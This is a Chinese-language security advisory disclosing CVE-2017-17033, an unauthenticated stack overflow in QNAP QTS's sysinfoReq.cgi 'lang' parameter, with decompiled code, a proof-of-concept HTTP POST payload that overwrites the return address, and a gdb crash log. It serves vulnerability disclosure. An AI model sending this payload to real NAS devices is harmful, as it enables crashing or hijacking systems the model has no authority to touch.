SSD安全公告-QNAP QTS未经认证的远程代码执行漏洞

漏洞概要
以下安全公告描述了QNAP QTS的一个内存损坏漏洞,成功利用该漏洞会造成QNAP QTS 4.3.x和4.2.x版本(包括4.3.3.0299)未经验证的远程代码执行。
威联通科技(QNAP Systems, Inc)专注于为企业,中小型企业,SOHO和家庭用户提供文件共享,虚拟化,存储管理和监控应用的网络解决方案。 QNAP QTS是标准的智能NAS操作系统,支持所有文件共享,存储,备份,虚拟化和多媒体QNAP设备。

漏洞提交者
一位安全研究者TRUEL IT(@truel_it)向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
QNAP已被告知该漏洞,并回复:“我们已经确认这个问题与最近的另一份报告相同,并已经发布了CVE-2017-17033。
尽管这份报告是重复的,但我们仍然会在即将发布的安全公告中对两位报送者表示感谢。
同时,在即将发布的QTS 4.2.6和4.3.3版本中将修复该漏洞。”
CVE: CVE-2017-17033
漏洞详细信息
由于缺乏适当的边界检查,可以通过特制的HTTP请求溢出堆栈缓冲区并劫持控制流以实现任意代码执行。
authLogin.cgi负责显示来自Web界面的系统信息,并且包含在用户提供的输入进行无限制的sprintf调用中。
authLogin.cgi二进制文件,位于QTS文件系统的/home/httpd/cgibin/目录中,可通过请求端点/cgi-bin/sysinfoReq.cgi进行访问。
该二进制文件是QTS的一部分,并充当几个功能的包装器。
易受攻击的调用位于handle_qpkg()(0x1C680)函数中,该函数由handle_sysInfoReq()(0x1D398)调用,以显示当前系统信息(型号名称,固件版本,ecc)。

...
if ( !strcmp("mediaGet.cgi", endpoint) )
{
 handle_mediaGet(cgi_input);
 goto LABEL_EXIT;
}
if ( !strcmp("sysinfoReq.cgi", endpoint) )
{
 handle_sysInfoReq(cgi_input);
 goto LABEL_EXIT;
}
if ( !strcmp("authLogout.cgi", endpoint) )
{
 handle_authLogout(cgi_input);
 goto LABEL_EXIT;
}
if ( !strcmp("cgi.cgi", endpoint) )
{
 handle_cgi(cgi_input);
 goto LABEL_EXIT;
}
...

通过向sysinfoReq.cgi发送一个HTTP请求,handle_sysInfoReq()(0x1D398)函数被触发,并且根据提供的参数,可以处理不同的进程步骤。

int handle_sysinforeq(int http_input)
{
 ...
 qpkg_value = CGI_Find_Parameter(http_input, (int)"qpkg");
 if (qpkg_value && *( qpkg_value + 4) )
 {
 handle_qpkg(http_input, 1);
 goto LABEL_EXIT;
 }
 ...
}

如果提供了qpkg HTTP参数,则调用handle_qpkg()(0x1C680)函数。

int handle_qpkg(int http_input, int arg2)
{
 ...
 Get_All_QPKG_Info((int)&all_qpkg_info);
 ...
 http_param_lang_p = CGI_Find_Parameter(http_input, (int)"lang");
 if ( http_param_lang_p )
 sprintf(&xml_file_p, "/home/httpd/RSS/rssdoc/qpkgcenter_%s.xml", http_param_lang_p + 4);
 ...
 return 0;
}

handle_qpkg()函数不会验证用户提供的lang HTTP参数值。
正如上面的代码路径所示,未经身份验证的攻击者可以为所述参数提供任意大小的值,然后通过sprintf()函数调用将其连接到静态大小(堆栈)缓冲区上的现有字符串。
漏洞证明
通过发送以下POST请求,我们将使堆栈溢出并用XXXX覆盖qpkg_all_info缓冲区的值,并用YYYY覆盖handle_qpkg()参数返回地址的值,从而造成崩溃。

POST /cgi-bin/sysinfoReq.cgi HTTP/1.1
Host: 192.168.1.131:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
qpkg=pwnt&lang=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBYYYY

产生以下崩溃:

Program received signal SIGSEGV, Segmentation fault.
r0 0x8 8
r1 0x0 0
r2 0x1740 5952
r3 0x58585858 1482184792
r4 0x58585858 1482184792
r5 0xffffffff 4294967295
r6 0x0 0
r7 0x0 0
r8 0x4 4
r9 0x977008 9924616
r10 0x1 1
r11 0xbee346e4 3202565860
r12 0xbee33db8 3202563512
sp 0xbee34370 0xbee34370
lr 0xb6c53b84 3066379140
pc 0x1c87c 0x1c87c
cpsr 0x20000010 536870928
=> 0x1c87c: ldr r3, [r4, r2]
 0x1c880: cmp r3, #1
 0x1c884: beq 0x1caa4
0x0001c87c in ?? ()
(gdb) x/i $pc
=> 0x1c87c: ldr r3, [r4, r2]